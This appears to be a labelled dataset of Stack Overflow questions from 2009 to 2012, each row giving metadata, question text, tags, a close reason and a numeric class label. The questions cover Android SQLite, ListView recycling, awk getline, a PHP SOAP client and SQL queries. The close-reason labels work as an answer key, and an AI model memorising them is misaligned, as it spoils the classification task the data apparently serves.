9,641,794 | 03/09/2012 22:22:09 | 1,231,943 | 02/25/2012 01:10:58 | 8 | 2 | SQLite / JSON reading and writing from an Android app | I am looking for some assistance. Long story short, I have most of my UI done for an Android app. That being said, I want to read questions (strings) from a web-based server to populate the app, rather than a local database. Essentially, I want to be able to add items to my web database and have the Android app query it to retrieve new questions, as well as submit responses. It turns out, the SQLite aspect is a bit over my head.
So I'm looking for two things: help with deploying a local SQLlite db that I can query and write to for now, that once I am done testing, I will deploy on a web server for anyone who downloads the app to utilize. Obviously all the writing and querying will be invisible to the user, but I need to code it in anyways. And then the second aspect will be the actual accessing of the db in Android via code. So far I've pulled off downloading text and images from webpages without too much trouble.
In terms of what I have done, I have downloaded SQLite Database Browser from Sourceforge and made a local db, but I can't determine how to access it via Android or to make it a locally hosted, rather than just local db.
I don't necessarily need code from anyone directly, I am just having trouble finding a good tutorial/guide that applies to my circumstances well. Any suggestions? | android | sql | database | sqlite | null | 06/05/2012 20:55:02 | not constructive | SQLite / JSON reading and writing from an Android app
===
I am looking for some assistance. Long story short, I have most of my UI done for an Android app. That being said, I want to read questions (strings) from a web-based server to populate the app, rather than a local database. Essentially, I want to be able to add items to my web database and have the Android app query it to retrieve new questions, as well as submit responses. It turns out, the SQLite aspect is a bit over my head.
So I'm looking for two things: help with deploying a local SQLlite db that I can query and write to for now, that once I am done testing, I will deploy on a web server for anyone who downloads the app to utilize. Obviously all the writing and querying will be invisible to the user, but I need to code it in anyways. And then the second aspect will be the actual accessing of the db in Android via code. So far I've pulled off downloading text and images from webpages without too much trouble.
In terms of what I have done, I have downloaded SQLite Database Browser from Sourceforge and made a local db, but I can't determine how to access it via Android or to make it a locally hosted, rather than just local db.
I don't necessarily need code from anyone directly, I am just having trouble finding a good tutorial/guide that applies to my circumstances well. Any suggestions? | 4 |
8,176,984 | 11/18/2011 02:14:38 | 459,691 | 09/27/2010 16:00:54 | 102 | 11 | Where is the shutdown option in Gnome3 | Unable to find shutdown or restart options in Fedora16/Gnome3 while logged in as regular user.
All I see is Lock Screen, Switch User, Log Out and Suspend.
| fedora | gnome-3 | null | null | null | 11/18/2011 09:02:14 | off topic | Where is the shutdown option in Gnome3
===
Unable to find shutdown or restart options in Fedora16/Gnome3 while logged in as regular user.
All I see is Lock Screen, Switch User, Log Out and Suspend.
| 2 |
7,127,134 | 08/19/2011 20:37:38 | 903,096 | 08/19/2011 20:37:38 | 1 | 0 | How to Set Background Color or Drawable to a Specific Item and when the listview is scrolled to have those colors stay | I have a ListView that is populated with 50 items.
This is the xml that I use for my ArrayAdapter.
<?xml version="1.0" encoding="utf-8"?>
<TextView
xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@android:id/text1"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:gravity="center_vertical"
android:paddingLeft="6dip"
android:minHeight="?android:attr/listPreferredItemHeight"
android:background="@drawable/listview_background"
android:textColor="#ff000000">
</TextView>
I type
ArrayAdapter<String> list = new ArrayAdapter<String>(this, R.layout.my_simple_list);
to create a new ArrayAdapter. Then I add a String[] items to the list. Then I call
setListAdapter(list);
To add Strings from the String[] items to list, I use a for loop to loop through the String array and add each String to list using command: list.add(items.get(i)); where i is my for loop counter.
for(int i=0;i<items.size();i++){
list.add(items.get(i));
}
This gets my ListView created and populated. I also have an onListItemClick function.
public void onListItemClick(ListView parent, View v, int position, long id) {
String Select = this.getListAdapter().getItem(position).toString();
if(copyitems.contains(Select)){
v.setBackgroundResource(R.drawable.listview_background);
copyitems.remove(Select);
}else{
copyitems.add(Select);
v.setBackgroundColor(Color.GRAY);
}
}
In the onListItemClick function copyitems is an ArrayAdapter<String> variable that I declare as a global variable. So what this function does is store the text from the selected items of the listview so later I can copy that selected text. So if an item is selected it's text is added to copyitems and if the same item is selected it will be removed form copyitems. Every time an item is added to copyitems the background of that item is changed to Gray and if an item is removed from copyitems the background of that item is set back to original. All this work fine. But when I have lots of items(like 50) they don't all fit to the screen so if I want to select an item that is not on screen then I have to scroll down or up to get to the item. The wierd this is that when I scroll away from a selected item and comeback to it the Background changes to original and a different item has the Gray background. So basically if my screen fits 10 items and I select the 1st one and scroll to select others that are passed 10(for example 11). When the 1st item leaves the screen and the 11 comes in, it is already colored Gray but I didn't selected. When I scroll back up to see the 1st item, the background may or may not be Gray. If its not Gray so other item's Background is set to Gray like the 2nd one. Is this happening because the items are recycled when they go off the screen and because of it the positions change of the items? If it is how can I disable that so I only have items background being gray if I have selected that item. If there is a better approach to what I'm trying to do please tell me. I'm new to android.
| android | null | null | null | null | null | open | How to Set Background Color or Drawable to a Specific Item and when the listview is scrolled to have those colors stay
===
I have a ListView that is populated with 50 items.
This is the xml that I use for my ArrayAdapter.
<?xml version="1.0" encoding="utf-8"?>
<TextView
xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@android:id/text1"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:gravity="center_vertical"
android:paddingLeft="6dip"
android:minHeight="?android:attr/listPreferredItemHeight"
android:background="@drawable/listview_background"
android:textColor="#ff000000">
</TextView>
I type
ArrayAdapter<String> list = new ArrayAdapter<String>(this, R.layout.my_simple_list);
to create a new ArrayAdapter. Then I add a String[] items to the list. Then I call
setListAdapter(list);
To add Strings from the String[] items to list, I use a for loop to loop through the String array and add each String to list using command: list.add(items.get(i)); where i is my for loop counter.
for(int i=0;i<items.size();i++){
list.add(items.get(i));
}
This gets my ListView created and populated. I also have an onListItemClick function.
public void onListItemClick(ListView parent, View v, int position, long id) {
String Select = this.getListAdapter().getItem(position).toString();
if(copyitems.contains(Select)){
v.setBackgroundResource(R.drawable.listview_background);
copyitems.remove(Select);
}else{
copyitems.add(Select);
v.setBackgroundColor(Color.GRAY);
}
}
In the onListItemClick function copyitems is an ArrayAdapter<String> variable that I declare as a global variable. So what this function does is store the text from the selected items of the listview so later I can copy that selected text. So if an item is selected it's text is added to copyitems and if the same item is selected it will be removed form copyitems. Every time an item is added to copyitems the background of that item is changed to Gray and if an item is removed from copyitems the background of that item is set back to original. All this work fine. But when I have lots of items(like 50) they don't all fit to the screen so if I want to select an item that is not on screen then I have to scroll down or up to get to the item. The wierd this is that when I scroll away from a selected item and comeback to it the Background changes to original and a different item has the Gray background. So basically if my screen fits 10 items and I select the 1st one and scroll to select others that are passed 10(for example 11). When the 1st item leaves the screen and the 11 comes in, it is already colored Gray but I didn't selected. When I scroll back up to see the 1st item, the background may or may not be Gray. If its not Gray so other item's Background is set to Gray like the 2nd one. Is this happening because the items are recycled when they go off the screen and because of it the positions change of the items? If it is how can I disable that so I only have items background being gray if I have selected that item. If there is a better approach to what I'm trying to do please tell me. I'm new to android.
| 0 |
11,623,016 | 07/24/2012 01:50:39 | 1,419,699 | 05/27/2012 02:54:37 | 16 | 2 | Game "move the box" arithmetic : generating the scene? | Well, now i'm making a game just like the "move the box" in apple store, and my job is to work out an arithmetic that generate the scene randomly.My solution is reversal.Firstly i create boxes that can be cleared up directly, and then i move the boxes, exchange two of them, or insert a row or column into them.Finally i use a program checking if the scene generated available.The moving or exchanging or insertion times are restrained by the parameter "step" and "complexity". Is it correct?or somebody can give the better solution? thanks | math | apple | game-center | null | null | 07/26/2012 01:14:18 | not a real question | Game "move the box" arithmetic : generating the scene?
===
Well, now i'm making a game just like the "move the box" in apple store, and my job is to work out an arithmetic that generate the scene randomly.My solution is reversal.Firstly i create boxes that can be cleared up directly, and then i move the boxes, exchange two of them, or insert a row or column into them.Finally i use a program checking if the scene generated available.The moving or exchanging or insertion times are restrained by the parameter "step" and "complexity". Is it correct?or somebody can give the better solution? thanks | 1 |
968,933 | 06/09/2009 08:49:56 | 77,095 | 03/12/2009 08:29:50 | 56 | 1 | In page error 0xc0000006 |
I have a VS 2005 application using C++ . It basically importing a large XML of around 9 GB into the application . After running for more than 18 hrs it gave an exception
0xc0000006 In page error. THe virtual memory consumed is 2.6 GB (I have set the 3GB) flag.
Does any one have a clue as to what caused this error and what could be the solution
| visual-studio-2005 | null | null | null | null | null | open | In page error 0xc0000006
===
I have a VS 2005 application using C++ . It basically importing a large XML of around 9 GB into the application . After running for more than 18 hrs it gave an exception
0xc0000006 In page error. THe virtual memory consumed is 2.6 GB (I have set the 3GB) flag.
Does any one have a clue as to what caused this error and what could be the solution
| 0 |
2,210,078 | 02/05/2010 20:09:47 | 177,931 | 03/30/2009 23:09:35 | 973 | 61 | How to use getline in AWK with a command that is concacted together | This is driving me insane. All I want to do is pass a command to the terminal from awk, where the command is a string concacted together made from other variables.
The documentation for awk says that something like
"echo" $1 | getline var
should put the value of $1 into var. But this is not the case. What am I missing here?
| awk | getline | null | null | null | null | open | How to use getline in AWK with a command that is concacted together
===
This is driving me insane. All I want to do is pass a command to the terminal from awk, where the command is a string concacted together made from other variables.
The documentation for awk says that something like
"echo" $1 | getline var
should put the value of $1 into var. But this is not the case. What am I missing here?
| 0 |
5,757,539 | 04/22/2011 16:23:35 | 234,723 | 12/18/2009 17:47:51 | 581 | 40 | Why use Altassian Crowd. | I'm trying to understand what Altassian crowd does over an LDAP server? It looks like most Altassian products allow you to point to an Altassian server for authroization/authentication. If that's the case why use Crowd?
| java | ldap | crowd | null | null | 05/03/2012 12:57:34 | off topic | Why use Altassian Crowd.
===
I'm trying to understand what Altassian crowd does over an LDAP server? It looks like most Altassian products allow you to point to an Altassian server for authroization/authentication. If that's the case why use Crowd?
| 2 |
7,770,272 | 10/14/2011 15:55:41 | 794,846 | 06/12/2011 15:09:11 | 6 | 0 | Cant connect to webservice with simple php test script | I'm trying to connect to this webservice: http://magnetledavet.com/GetStuffed/Service.asmx?WSDL
I'm using this simple script to test it but I don't seem to be getting anything back whatsoever and I'm not sure about what's causing the problem.
Here is my test script can anybody see whats wrong?
<?php
if(!class_exists("SoapClient")){ die("Catch"); }
$client = new SoapClient('http://magnetledavet.com/GetStuffed/Service.asmx?WSDL', array('soap_version' => SOAP_1_2));
echo "test";
//var_dump($client->__getFunctions());
echo("Dump Start:<br>");
var_dump($client->SendOrder( array(
"merchant_id" => 1,
"order_id" => "445",
"username" => "test",
"password" => "test123",
"products" => array(
array("qty" => 1, "product_id" =>"1", "product_name" => "Product Test 1", "price" =>15),
array("qty" => 1, "product_id" =>"2", "product_name" => "Product Test 2", "price" =>25)
),
"order_details" => "Dont add cheese !!",
"amount" => 40,
"point" => 40,
"payment_type" => "test",
"webdate" => date("Y-m-d").'T'.date("H:i:s"),
"customer_name" => "Steve Jobs",
"address" => "4th Floor Grosvenor House, 1 High Street Edgware",
"state" => "test",
"phone" => "+447711111111",
"postcode" => "HA8 7TA",
"email" => "[email protected]",
"delivery_time" => date("Y-m-d").'T'.date("H:i:s"),
"delivery_notes" => "test"
)
));
//var_dump($client->__soapCall("SendOrder", array( 'merchant_id' => 1 )));
print("Dump End:<br>");
?> | php | web-services | soap | null | null | null | open | Cant connect to webservice with simple php test script
===
I'm trying to connect to this webservice: http://magnetledavet.com/GetStuffed/Service.asmx?WSDL
I'm using this simple script to test it but I don't seem to be getting anything back whatsoever and I'm not sure about what's causing the problem.
Here is my test script can anybody see whats wrong?
<?php
if(!class_exists("SoapClient")){ die("Catch"); }
$client = new SoapClient('http://magnetledavet.com/GetStuffed/Service.asmx?WSDL', array('soap_version' => SOAP_1_2));
echo "test";
//var_dump($client->__getFunctions());
echo("Dump Start:<br>");
var_dump($client->SendOrder( array(
"merchant_id" => 1,
"order_id" => "445",
"username" => "test",
"password" => "test123",
"products" => array(
array("qty" => 1, "product_id" =>"1", "product_name" => "Product Test 1", "price" =>15),
array("qty" => 1, "product_id" =>"2", "product_name" => "Product Test 2", "price" =>25)
),
"order_details" => "Dont add cheese !!",
"amount" => 40,
"point" => 40,
"payment_type" => "test",
"webdate" => date("Y-m-d").'T'.date("H:i:s"),
"customer_name" => "Steve Jobs",
"address" => "4th Floor Grosvenor House, 1 High Street Edgware",
"state" => "test",
"phone" => "+447711111111",
"postcode" => "HA8 7TA",
"email" => "[email protected]",
"delivery_time" => date("Y-m-d").'T'.date("H:i:s"),
"delivery_notes" => "test"
)
));
//var_dump($client->__soapCall("SendOrder", array( 'merchant_id' => 1 )));
print("Dump End:<br>");
?> | 0 |
5,229,879 | 03/08/2011 08:04:54 | 649,458 | 03/08/2011 08:04:54 | 1 | 0 | whats the problem with this query ? | Please redit thisquery if there are any problemin that :
SELECT [travel], [service], [travelid], [fro_m], [t_o], [dep], [arr], [booking_closed], [discount], [faresleeper], [rating], [seats], [s_no], [fare] = CASE WHEN @date >= Cast(Convert(varchar(20),s1from,101) as datetime AND @date >= Cast(Convert(varchar(20),s1to,101) as datetime THEN s1rate ELSE fare END FROM a1_volvo WHERE ( fro_m = @fro_m ) AND ( t_o = @t_o ) | sql-server | sql-server-2005 | null | null | null | null | open | whats the problem with this query ?
===
Please redit thisquery if there are any problemin that :
SELECT [travel], [service], [travelid], [fro_m], [t_o], [dep], [arr], [booking_closed], [discount], [faresleeper], [rating], [seats], [s_no], [fare] = CASE WHEN @date >= Cast(Convert(varchar(20),s1from,101) as datetime AND @date >= Cast(Convert(varchar(20),s1to,101) as datetime THEN s1rate ELSE fare END FROM a1_volvo WHERE ( fro_m = @fro_m ) AND ( t_o = @t_o ) | 0 |
4,481,507 | 12/19/2010 03:55:33 | 182,332 | 10/01/2009 07:59:18 | 197 | 19 | is there a solution architect title in an agile company? | If you are responsible for the architectural vision in your company, what would be your title if youre in a company practicing agile development. | agile-processes | null | null | null | null | 12/19/2010 10:51:20 | off topic | is there a solution architect title in an agile company?
===
If you are responsible for the architectural vision in your company, what would be your title if youre in a company practicing agile development. | 2 |
6,944,779 | 08/04/2011 16:07:38 | 369,507 | 06/17/2010 15:42:19 | 72 | 0 | Determine operating system and processor type in C# | I want to check what type of operating system i use and what kind of processor. this should be check on run time. i tried using
System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE")
and
System.OperatingSystem osInfo2 = System.Environment.OSVersion;
Console.WriteLine(osInfo2.ToString());
but it's just the enviroment that VS is running on.<br>
I was told to use WMI to check it but i can't find out how.
can someone help me with that? | c# | .net | operating-system | wmi | null | null | open | Determine operating system and processor type in C#
===
I want to check what type of operating system i use and what kind of processor. this should be check on run time. i tried using
System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE")
and
System.OperatingSystem osInfo2 = System.Environment.OSVersion;
Console.WriteLine(osInfo2.ToString());
but it's just the enviroment that VS is running on.<br>
I was told to use WMI to check it but i can't find out how.
can someone help me with that? | 0 |
7,575,599 | 09/27/2011 20:59:00 | 310,678 | 04/07/2010 06:25:10 | 810 | 51 | Developer Geared Wordpress Book | Can some one recommend a more advanced Wordpress book and some PODS materials? I will of course read the DOCS but I want something that will supplement that reading. <BR><BR>Please no Wordpress for Dummies. Something that could explain the reason they did the taxonomy the way they did and advanced plugin makking. | wordpress | books | null | null | null | 10/02/2011 16:20:21 | off topic | Developer Geared Wordpress Book
===
Can some one recommend a more advanced Wordpress book and some PODS materials? I will of course read the DOCS but I want something that will supplement that reading. <BR><BR>Please no Wordpress for Dummies. Something that could explain the reason they did the taxonomy the way they did and advanced plugin makking. | 2 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.